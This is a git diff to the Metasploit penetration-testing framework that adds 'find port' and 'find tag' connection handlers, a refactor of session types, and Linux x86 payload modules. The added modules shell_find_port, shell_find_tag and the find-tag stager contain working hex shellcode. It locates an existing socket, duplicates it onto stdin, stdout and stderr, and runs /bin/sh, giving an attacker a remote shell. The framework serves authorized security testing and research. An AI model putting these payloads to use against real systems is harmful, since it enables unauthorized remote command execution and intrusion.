diff --git a/lib/msf/base/sessions/command_shell.rb b/lib/msf/base/sessions/command_shell.rb index b57e444dab..a62faba4f1 100644 --- a/lib/msf/base/sessions/command_shell.rb +++ b/lib/msf/base/sessions/command_shell.rb @@ -25,12 +25,16 @@ class CommandShell # include Msf::Session::Provider::SingleCommandShell + def self.type + "shell" + end + def desc "Command shell" end def type - "shell" + self.class.type end # diff --git a/lib/msf/base/sessions/meterpreter.rb b/lib/msf/base/sessions/meterpreter.rb index cb51c31134..ca5db474ab 100644 --- a/lib/msf/base/sessions/meterpreter.rb +++ b/lib/msf/base/sessions/meterpreter.rb @@ -36,6 +36,10 @@ class Meterpreter < Rex::Post::Meterpreter::Client self.console = Rex::Post::Meterpreter::Ui::Console.new(self) end + def self.type + "meterpreter" + end + ## # # Msf::Session overrides @@ -47,7 +51,7 @@ class Meterpreter < Rex::Post::Meterpreter::Client end def type - "meterpreter" + self.class.type end ## diff --git a/lib/msf/core/handler/find_port.rb b/lib/msf/core/handler/find_port.rb new file mode 100644 index 0000000000..c020eec420 --- /dev/null +++ b/lib/msf/core/handler/find_port.rb @@ -0,0 +1,116 @@ +module Msf +module Handler + +### +# +# FindPort +# -------- +# +# This handlers implements port-based findsock handling. +# +### +module FindPort + + include Msf::Handler + + def self.handler_type + return "find_port" + end + + def initialize(info = {}) + super + + register_options( + [ + Opt::CPORT(rand(64000) + 1024), + ], Msf::Handler::FindPort) + end + + # + # Check to see if there's a shell on the supplied sock. This check + # currently only works for shells. + # + def handler(sock) + _find_prefix(sock) + + # Flush the receive buffer + sock.get(1) + + # If this is a multi-stage payload, then we just need to blindly + # transmit the stage and create the session, hoping that it works. + if (self.payload_type != Msf::Payload::Type::Single) + handle_connection(sock) + # Otherwise, check to see if we found a session + else + create_session(sock) + end + + return self._handler_return_value + end + +protected + + # + # Prefix to the stage if necessary. + # + def _find_prefix(sock) + end + + # + # Wrapper to create session that makes sure we actually have a session to + # create... + # + def create_session(sock) + go = true + + # Give the payload a chance to run + Rex::ThreadSafe.sleep(1.5) + + # This is a hack. If the session is a shell, we check to see if it's + # functional by sending an echo which tells us whether or not we're good + # to go. + if (self.session.type == 'shell') + go = _check_shell(sock) + else + print_status("Trying to use connection...") + end + + # If we're good to go, create the session. + rv = (go == true) ? super : nil + + if (rv) + self._handler_return_value = Claimed + end + + return rv + end + + # + # Checks to see if a shell has been allocated on the connection. This is + # only done for payloads that use the CommandShell session. + # + def _check_shell(sock) + ebuf = Rex::Text.rand_text_alphanumeric(16) + + # Check to see if the shell exists + sock.put("echo #{ebuf}\n") + + # Try to read a response + rbuf = sock.get(3) + + # If it contains our string, then we rock + if (rbuf =~ /#{ebuf}/) + print_status("Found shell...") + + return true + else + return false + end + end + + attr_accessor :_handler_return_value + +end + +end +end diff --git a/lib/msf/core/handler/find_tag.rb b/lib/msf/core/handler/find_tag.rb new file mode 100644 index 0000000000..fe20557931 --- /dev/null +++ b/lib/msf/core/handler/find_tag.rb @@ -0,0 +1,53 @@ +require 'msf/core/handler/find_port' + +module Msf +module Handler + +### +# +# FindTag +# ------- +# +# This handlers implements tag-based findsock handling. +# +### +module FindTag + + include FindPort + + def self.handler_type + return "find_tag" + end + + def initialize(info = {}) + super + + register_advanced_options( + [ + OptString.new('TAG', [ true, "The four byte tag to signify the connection.", "msf!" ]) + ], Msf::Handler::FindTag) + end + +protected + + # + # Prefix the stage with this... + # + def _find_prefix(sock) + self.stage_prefix = _find_tag + end + + # + # Returns the tag we'll be using. + # + def _find_tag + tag = (datastore['TAG'] || "msf!") + tag += ("\x01" * (tag.length - 4)) + + return tag[0, 4] + end + +end + +end +end diff --git a/lib/msf/core/payload/stager.rb b/lib/msf/core/payload/stager.rb index 86f6609845..2732446c01 100644 --- a/lib/msf/core/payload/stager.rb +++ b/lib/msf/core/payload/stager.rb @@ -52,8 +52,8 @@ module Msf::Payload::Stager substitute_vars(p, stage_offsets) if (stage_offsets) # Prefix to the stage with whatever may be required and then rock it. - p = (stage_prefix || '') + p - + p = (self.stage_prefix || '') + p + print_status("Sending stage (#{p.length} bytes)") # Send the stage diff --git a/lib/msf/core/session.rb b/lib/msf/core/session.rb index f09b0b149c..70fbadbafa 100644 --- a/lib/msf/core/session.rb +++ b/lib/msf/core/session.rb @@ -52,6 +52,11 @@ module Session require 'msf/core/session/provider/multi_command_execution' require 'msf/core/session/provider/single_command_shell' require 'msf/core/session/provider/multi_command_shell' + + def self.type + "unknown" + end + # # Returns the session's name if it's been assigned one, otherwise # the sid is returned. diff --git a/modules/payloads/singles/linux/x86/shell_find_port.rb b/modules/payloads/singles/linux/x86/shell_find_port.rb new file mode 100644 index 0000000000..ed0329dc87 --- /dev/null +++ b/modules/payloads/singles/linux/x86/shell_find_port.rb @@ -0,0 +1,44 @@ +require 'msf/core' +require 'msf/core/handler/find_port' +require 'msf/base/sessions/command_shell' + +module Msf +module Payloads +module Singles +module Linux +module X86 + +module ShellFindPort + + include Msf::Payload::Single + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Linux Command Shell, Find Port Inline', + 'Version' => '$Revision$', + 'Description' => 'Spawn a shell on an established connection', + 'Author' => 'vlad902', + 'Platform' => 'linux', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::FindPort, + 'Session' => Msf::Sessions::CommandShell, + 'Payload' => + { + 'Offsets' => + { + 'CPORT' => [ 26, 'n' ], + }, + 'Payload' => + "\x31\xd2\x52\x89\xe5\x6a\x07\x5b\x6a\x10\x54\x55" + + "\x52\x89\xe1\xff\x01\x6a\x66\x58\xcd\x80\x66\x81" + + "\x7d\x02\x11\x5c\x75\xf1\x5b\x6a\x02\x59\xb0\x3f" + + "\xcd\x80\x49\x79\xf9\x52\x68\x2f\x2f\x73\x68\x68" + + "\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b" + + "\xcd\x80" + } + )) + end + +end + +end end end end end diff --git a/modules/payloads/singles/linux/x86/shell_find_tag.rb b/modules/payloads/singles/linux/x86/shell_find_tag.rb new file mode 100644 index 0000000000..d6bc56acf9 --- /dev/null +++ b/modules/payloads/singles/linux/x86/shell_find_tag.rb @@ -0,0 +1,52 @@ +require 'msf/core' +require 'msf/core/handler/find_tag' +require 'msf/base/sessions/command_shell' + +module Msf +module Payloads +module Singles +module Linux +module X86 + +module ShellFindTag + + include Msf::Payload::Single + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Linux Command Shell, Find Tag Inline', + 'Version' => '$Revision$', + 'Description' => 'Spawn a shell on an established connection (proxy/nat safe)', + 'Author' => 'skape', + 'Platform' => 'linux', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::FindTag, + 'Session' => Msf::Sessions::CommandShell, + 'Payload' => + { + 'Offsets' => + { + 'TAG' => [ 0x1a, 'RAW' ], + }, + 'Payload' => + "\x31\xdb\x53\x89\xe6\x6a\x40\xb7\x0a\x53\x56\x53\x89\xe1\x86\xfb" + + "\x66\xff\x01\x6a\x66\x58\xcd\x80\x81\x3e\x6d\x73\x66\x21\x75\xf0" + + "\x5f\x89\xfb\x6a\x02\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x6a\x0b" + + "\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52" + + "\x53\x89\xe1\xcd\x80" + } + )) + end + + # + # Ensures the setting of TAG to a four byte value + # + def generate + datastore['TAG'] = _find_tag + + super + end + +end + +end end end end end diff --git a/modules/payloads/stagers/linux/x86/find_tag.rb b/modules/payloads/stagers/linux/x86/find_tag.rb new file mode 100644 index 0000000000..a1b63c6326 --- /dev/null +++ b/modules/payloads/stagers/linux/x86/find_tag.rb @@ -0,0 +1,47 @@ +require 'msf/core' +require 'msf/core/handler/find_tag' + +module Msf +module Payloads +module Stagers +module Linux +module X86 + +### +# +# FindTag +# ------- +# +# Linux find tag stager. +# +### +module FindTag + + include Msf::Payload::Stager + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Find Tag Stager', + 'Version' => '$Revision$', + 'Description' => 'Use an established connection', + 'Author' => 'skape', + 'Platform' => 'linux', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::FindTag, + 'Stager' => + { + 'Offsets' => + { + 'TAG' => [ 0x1a, 'RAW' ], + }, + 'Payload' => + "\x31\xdb\x53\x89\xe6\x6a\x40\xb7\x0a\x53\x56\x53\x89\xe1\x86\xfb" + + "\x66\xff\x01\x6a\x66\x58\xcd\x80\x81\x3e\x6d\x73\x66\x21\x75\xf0" + + "\x5f\xfc\xad\xff\xe6" + } + )) + end + +end + +end end end end end